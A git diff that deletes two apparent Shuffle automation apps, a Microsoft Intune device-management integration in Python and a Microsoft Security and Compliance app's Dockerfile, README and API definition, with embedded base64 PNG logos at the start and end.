Aj4i5vRspckHfKTA7swKMdBV4XLyBhbH5YMCtCd5W/jJMidPLDtP0VG58OTUSF2h5Nb4ES2AKTddS4hI7H/KWRUMGPZ0TtLQsbRa2TJT6qJ5EW0M4evBpyaDEcjsuQLCREe46cDzWHvR6Ml7ljtEYFbHFgK78RBe9nXhQ5E+tzDAEx2by1OPGpt7sjhyYlfMlwBGBnRYD5PgJKx49iWFeRBuQjoO46Tg0OyctiY/wZHxs5ceCfOcrzbYqPVd+au5m8Ch/iywNny014MIBKyLThcXfgKwZHRtoKJts6dcTJO7EDX50WFyreAjI6uwxeQQWrZ7UacNraDkoyh1en40cM8GAMcG/NL3aMAeCDHO5btDK6UDYEMq/ffPFiZPgRxvRzrZdFxsdvdYzCzO8CQHDlDho7NttdekPfQhomFmTkazu08GfrVlZ3jEvtVQCBDtwNMRXvi4KBO4QRv0rZPkRHoOOnfVof9xNLncbnt9nFe15GXjt4fateIBhl5TBuigaV36PjHAhknJQN0i0v7Wo6eL+tTBqxs1bOs5qridUAkw+HWt4Z93I+r7fNkdHJGhsMFM1vbuisb5rrDOaC4j72rdCkCGXaHqzr6Fq5/CSWE4+dsRsC/87UEI1pIwD4Qg5mBbrzvLxZOQDSgT1yLn3TmdMjJhWTgnI/N7isy/E7HEVaNX61c8qLc+0Mk445r8RMb1ZJxoc3oCCunN/OSDNfBznf+jD1c4RqNhqgmIhkd4yfVJOh0eDL+M9cLMoa5bj/t971er/i3743BU/9qZMSVZGzAsAovHkI89uHIsGsykvPehItARTJwQcbBwp25iOzkD8/fE5eRcbHNkErGIbA7ZiTg6JcSV4GzanLCm5yMQCFMk5GxzG2sfQT8pZJxpCYlGTGEooI3uVZcSAYvGYkoGT4+bTNKb2I6unOVQVYT58jQ5WT8FlgJF6ne53p+3mZoT2I4d7U4Kxl10NUOcvY+472DLS7TuLP1HxhQbQWi8RFqqKwGei7O6AWcZpiBbrGfEUzm+g/J8APbToQ3Na7SmVwoGYccB6wE0YYchJ609PCPydAWnm6N2W9jJ9PrXKy8zIAuHNxxJi13vSj3bD3frl0zXib97fcfxhmAW0e3nGTZMs3FcmPn3pWSYZ1J1Nh/ZrJxMM7zoCgIk8CB1IEsMKsOdsG11gbU4msAQEaHkqFNHFCVPMfjwMmtay2CDmo/GbU7DTJ0p060o0M+JwVh+t/wDHLDyedzvDE1RkYr0APhnTmODG3YmzkOqbDneHD03wVcCUzXjavN2HUF6XWF/cVqterWdsPfdVeb1Squ+pXy4MMWP80I9vlbrVeTzao7iq+UCgUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFhV8Q/wN155mkeK3lzQAAAABJRU5ErkJggg== diff --git a/microsoft-intune/1.0.0/requirements.txt b/microsoft-intune/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/microsoft-intune/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/microsoft-intune/1.0.0/src/app.py b/microsoft-intune/1.0.0/src/app.py deleted file mode 100644 index 5b154431..00000000 --- a/microsoft-intune/1.0.0/src/app.py +++ /dev/null @@ -1,112 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Intune(AppBase): - __version__ = "1.0.0" - app_name = "intune" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def authenticate(self, tenant_id, client_id, client_secret, graph_url): - s = requests.Session() - auth_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - auth_data = { - "grant_type": "client_credentials", - "client_id": client_id, - "client_secret": client_secret, - "scope": f"{graph_url}/.default", - } - auth_headers = { - "Content-Type": "application/x-www-form-urlencoded", - "cache-control": "no-cache", - } - - print(f"Making request to: {auth_url}") - res = s.post(auth_url, data=auth_data, headers=auth_headers) - - # Auth failed, raise exception with the response - if res.status_code != 200: - raise ConnectionError(res.text) - - access_token = res.json().get("access_token") - s.headers = {"Authorization": f"Bearer {access_token}", "cache-control": "no-cache"} - return s - - def list_devices(self, tenant_id, client_id, client_secret): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/v1.0/devices/" - ret = session.get(graph_url) - return ret.text - - def list_apps(self, tenant_id, client_id, client_secret): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/v1.0/deviceManagement/detectedApps" - ret = session.get(graph_url) - return ret.text - - def managed_device_overview(self, tenant_id, client_id, client_secret): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDeviceOverview" - ret = session.get(graph_url) - return ret.text - - def managed_device(self, tenant_id, client_id, client_secret): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" - ret = session.get(graph_url) - return ret.text - - def get_managed_device(self, tenant_id, client_id, client_secret, managedDeviceId): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url=f"https://graph.microsoft.com/v1.0/managedDevices/{managedDeviceId}" - ret = session.get(graph_url) - return ret.text - - def delete_managed_device(self, tenant_id, client_id, client_secret, managedDeviceId): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url=f"https://graph.microsoft.com/v1.0/managedDevices/{managedDeviceId}" - ret = session.delete(graph_url) - return ret.text - - def remotelock(self, tenant_id, client_id, client_secret, managedDeviceId): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url=f"https://graph.microsoft.com/v1.0/managedDevices/{managedDeviceId}/remoteLock" - ret = session.post(graph_url) - return ret.text - - def shutdown(self, tenant_id, client_id, client_secret, managedDeviceId): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url=f"https://graph.microsoft.com/v1.0/managedDevices/{managedDeviceId}/shutDown" - ret = session.post(graph_url) - return ret.text - - def list_managedAppConfigurations(self, tenant_id, client_id, client_secret): - graph_url="https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url=f"https://graph.microsoft.com/v1.0/deviceAppManagement/managedAppPolicies" - ret = session.post(graph_url) - return ret.text - -if __name__ == "__main__": - Intune.run() diff --git a/microsoft-security-and-compliance/1.0.0/Dockerfile b/microsoft-security-and-compliance/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/microsoft-security-and-compliance/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/microsoft-security-and-compliance/1.0.0/README.md b/microsoft-security-and-compliance/1.0.0/README.md deleted file mode 100644 index b7386ce3..00000000 --- a/microsoft-security-and-compliance/1.0.0/README.md +++ /dev/null @@ -1,50 +0,0 @@ -## Microsoft Security and Compliance -- An app to interact with Security and Compliance solutions from microsoft. - -### Authentication -To authenticate this app, you'll need an app registered in the Azure Portal. This app should use what's called **"application permissions"**, NOT "delegated permissions". More about this farther down. **Make sure to have admin consent**. - -**Required**: -- tenant_id -- client_id -- client_secret - -### Permissions -Permissions are meant to be granular according to your needs. Make sure to not give too many permissions. To make the whole app work, add the following permissions to your app. How to register an app farther down. - -**Application Permissions:** -- SecurityActions.ReadWrite.All -- SecurityEvents.ReadWrite.All -- ThreatAssement.Read.All -- ThreatIndicators.Read.All -- ThreatIndicators.ReadWrite.OwnedBy - -## How to register app in Active Directory on Azure portal ? - -### Step 1: Go to the Azure portal - - - You'll need to go to the [Azure Portal](https://portal.azure.com/#blade/Microsoft_AAD_RegisteredApps/ApplicationsListBlade) and login. - -### Step 2: Go to the Azure Active Directory Service - -- Once you are logged into Azure, Register a new application so you can access -the Microsoft Graph API. To register a new application go to your **Azure Active Directory** -and once there go down to **App Registrations** a new window will pop up. - -### Step 3: Register a New App -- Set name of your choice. -- Select supported account type. -- You don't have to set redirect URL. - -### Step 4: Generate client secret -- Go to your application → Certificates & Secrets → New client Secret. - -## Note -- You'll need Tenant ID, Client ID & client Secret for authentication (Tenant ID & Client ID are available under application overview and for Client Secret go to Certificate & Secrets section). -- Make sure your application has adequate permissions. -- Each action may require different permission to run. To add permissions, Go to your application in azure portal → API permission → Add permission (some of the permissions will require admin consent). -- After adding permission , Grant consent. -- Be sure to use work / business account. Most of the actions are not supported on personal account. - -## References -- To read more about required permission for each action you can refer to [Security](https://docs.microsoft.com/en-us/graph/api/resources/security-api-overview?view=graph-rest-1.0) & [compliance](https://docs.microsoft.com/en-us/graph/api/resources/complianceapioverview?view=graph-rest-beta)'s official documentation. diff --git a/microsoft-security-and-compliance/1.0.0/api.yaml b/microsoft-security-and-compliance/1.0.0/api.yaml deleted file mode 100644 index b534f60a..00000000 --- a/microsoft-security-and-compliance/1.0.0/api.yaml +++ /dev/null @@ -1,643 +0,0 @@ -app_version: 1.0.0 -name: Microsoft Security and Compliance -description: An app for the Microsoft 365 compliance center based on https://compliance.microsoft.com -contact_info: - name: "dhavaldave" - url: https://twitter.com/dhavaldave98 - email: dhavald@infopercept.com -tags: - - Ticketing -categories: - - Testing -authentication: - required: true - parameters: - - name: tenant_id - description: The tenant of the OAuth client - example: "*****" - required: true - schema: - type: string - - name: client_id - description: The client id to use - example: "*****" - multiline: false - required: true - schema: - type: string - - name: client_secret - description: The secret key to use - multiline: false - example: "*****" - required: true - schema: - type: string -actions: - - name: get_alerts - description: Returns all alerts - parameters: - - name: top - description: Total number of alerts you want to recieve - multiline: false - example: "10" - required: false - schema: - type: string - - - name: get_alerts_by_severity - description: Returns alerts by severity - parameters: - - name: top - description: Total number of alerts you want to recieve - multiline: false - example: "10" - required: false - schema: - type: string - - name: severity - description: Alert severiy - multiline: false - options: - - High - - Medium - - Low - example: "High" - required: true - schema: - type: string - - name: get_alerts_by_vendors - description: Returns alerts by vendors - parameters: - - name: vendor - description: Vendor name - multiline: true - options: - - Azure Advanced Threat Protection - - Azure Security Center - - Microsoft Cloud App Security - - Azure Active Directory Identity Protection - - Azure Sentinel - - Microsoft Defender Advanced Threat Protection - example: "Azure Security Center" - required: true - schema: - type: string - - name: top - description: Total number of alerts you want to recieve - multiline: false - example: "10" - required: false - schema: - type: string - - name: get_alert_by_id - description: Returns an alert by id - parameters: - - name: alert_id - description: Alert id - multiline: false - example: "1" - required: true - schema: - type: string - - name: update_alert - description: update alert - parameters: - - name: alert_id - description: Alert id - multiline: false - example: "1" - required: true - schema: - type: string - - name: assigned_to - description: Name of the analyst the alert is assigned to for triage, investigation, or remediation. - multiline: false - example: "test@contoso.com" - required: false - schema: - type: string - - name: comments - description: Analyst comments on the alert - multiline: false - options: - - Closed in IPC - - Closed in MCAS - example: "Closed in MCAS" - required: false - schema: - type: string - - name: tags - description: User-definable labels that can be applied to an alert - multiline: false - example: "HVA" - required: false - schema: - type: string - - name: vendor - description: details about vendor - multiline: false - example: "Microsoft" - required: true - schema: - type: string - - name: feedback - description: Analyst feedback on the alert - multiline: false - example: "unknown" - required: false - options: - - unknown - - truePositive - - falsePositive - - benignPositive - schema: - type: string - - name: status - description: Alert life cycle status - multiline: false - example: "unknown" - required: false - options: - - unknown - - newAlert - - inProgress - - resolved - schema: - type: string - - name: provider - description: details about provider - multiline: false - example: "Windows Defender ATP" - required: true - schema: - type: string - - name: sub_provider - description: details about sub provider - multiline: false - example: "AppLocker" - required: true - schema: - type: string - - name: provider_version - description: Version of the provider or subprovider, if it exists, that generated the alert - multiline: false - example: "3.0" - required: true - schema: - type: string - - name: list_threat_assesment_requests - description: Returns all threat assesment requests - - - name: get_threat_assesment_request - description: Retrieve the properties and relationships of a specified threatAssessmentRequest object. - parameters: - - name: request_id - description: id - multiline: false - example: "cf920392-0a7a-4ac7-d842-08d90fa57088" - required: true - schema: - type: string - - name: create_mail_threat_assessment - description: Used to create a mail threat assessment - parameters: - - name: reciepient_email - description: The mail recipient whose policies are used to assess the mail. - multiline: false - example: "user@onmicrosoft.com" - required: true - schema: - type: string - - name: expected_assessment - description: The expected assessment from submitter - multiline: false - example: "block" - required: true - options: - - block - - unblock - schema: - type: string - - name: category - description: The threat category - multiline: false - example: "spam" - required: true - options: - - spam - - phishing - - malware - schema: - type: string - - name: message_uri - description: - multiline: false - example: "dhavald@xaybz.onmicrosoft.com" - required: true - schema: - type: string - - name: status - description: status - multiline: false - example: "pendind" - required: true - options: - - pending - - completed - schema: - type: string - - name: create_url_threat_assessment - description: Used to create a URL threat assessment - parameters: - - name: url - description: The URL string - multiline: false - example: "https://www.test.com" - required: true - schema: - type: string - - name: expected_assessment - description: The expected assessment from submitter - multiline: false - example: "block" - required: true - options: - - block - - unblock - schema: - type: string - - name: category - description: The threat category - multiline: false - example: "spam" - required: true - options: - - spam - - phishing - - malware - schema: - type: string - - name: status - description: status - multiline: false - example: "pending" - required: true - options: - - pending - - completed - schema: - type: string - - name: create_file_threat_assessment - description: Used to create a file threat assessment - parameters: - - name: filename - description: The file name - multiline: false - example: "sample.txt" - required: true - schema: - type: string - - name: content_data - description: Base64 encoded file content - multiline: false - example: "VGhpcyBpcyBhIHRlc3QgZmlsZQ==" - required: true - schema: - type: string - - name: expected_assessment - description: The expected assessment from submitter - multiline: false - example: "block" - required: true - options: - - block - - unblock - schema: - type: string - - name: category - description: The threat category - multiline: false - example: "spam" - required: true - options: - - spam - - phishing - - malware - schema: - type: string - - name: status - description: status - multiline: false - example: "pending" - required: true - options: - - pending - - completed - schema: - type: string - - name: list_secure_score - description: Retrieve a list of secureScore objects - parameters: - - name: top - description: Total number of alerts you want to recieve - multiline: false - example: "10" - required: false - schema: - type: string - - name: list_cases - description: Lists eDiscovery cases - - name: get_case - description: Returns eDiscovery case by id - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: create_case - description: Creates an eDiscovery case - parameters: - - name: display_name - description: The name of the eDiscovery case - multiline: false - example: "Sample eDiscovery case" - required: true - schema: - type: string - - name: update_case - description: Update existing eDiscovery case - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: display_name - description: The name of the eDiscovery case - multiline: false - example: "Sample eDiscovery case" - required: true - schema: - type: string - - name: description - description: Updated description - multiline: false - example: "description" - required: true - schema: - type: string - - name: external_id - description: Update external id - multiline: false - example: "external id" - required: true - schema: - type: string - - name: close_case - description: close a case - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: reopen_case - description: Reopen case - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: list_custodians - description: Get the custodians that are applied to a case - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: get_custodian - description: Returns a custodian - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: custodian_id - description: custodian id - multiline: false - example: "id" - required: true - schema: - type: string - - name: create_custodian - description: create a custodian - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: email - description: Custodian's primary SMTP address - multiline: false - example: "sample@onmicrosoft.com" - required: true - schema: - type: string - - name: apply_hold_to_sources - description: Indicates whether a hold is applied to the custodian's sources (such as mailboxes, sites, or Teams) - multiline: false - example: "" - required: true - options: - - true - - false - schema: - type: string - - name: update_custodian - description: update a custodian - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: custodian_id - description: custodian id - multiline: false - example: "id" - required: true - schema: - type: string - - name: apply_hold_to_sources - description: Indicates whether a hold is applied to the custodian's sources (such as mailboxes, sites, or Teams) - multiline: false - example: "" - required: true - options: - - true - - false - schema: - type: string - - name: activate_custodian - description: activate a custodian - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: custodian_id - description: custodian id - multiline: false - example: "id" - required: true - schema: - type: string - - name: release_custodian - description: release a custodian - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: custodian_id - description: custodian id - multiline: false - example: "id" - required: true - schema: - type: string - - name: list_legalholds - description: Get the legalHolds that are applied to a case - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: get_legalhold - description: Read the properties and relationships of a legalHold object - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: legalhold_id - description: legalhold id - multiline: false - example: "id" - required: true - schema: - type: string - - name: create_legalhold - description: Create a new legalHold object. - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: display_name - description: legalhold name - multiline: false - example: "sample legalhold" - required: true - schema: - type: string - - name: description - description: legalhold description - multiline: true - example: "legalhold description" - required: true - schema: - type: string - - name: is_enabled - description: legalhold name - multiline: false - example: "" - required: true - options: - - true - - false - schema: - type: string - - name: status - description: The status of legalhold - multiline: false - example: "pending" - required: true - options: - - Pending - - Error - - Success - - UnknownFutureValue - schema: - type: string - - name: content_query - description: KQL query that specifies content to be held in the specified locations - multiline: true - example: "" - required: false - schema: - type: string - - name: errors - description: Lists any errors that happened while placing the hold. - multiline: false - example: "Use ',' seperator for multiple errors" - required: false - schema: - type: string - - name: list_source_collections - description: Get the list of sourceCollections from a case object - parameters: - - name: case_id - description: eDiscovery case id - multiline: false - example: "id" - required: true - schema: - type: string - - name: list_people - description: Get the list of sourceCollections from a case object - parameters: - - name: user_principal_name - description: Email address of user - multiline: false - example: "demo@xyz.onmicrosoft.com" - required: true - schema: - type: string -large_image: data:image/png;base64,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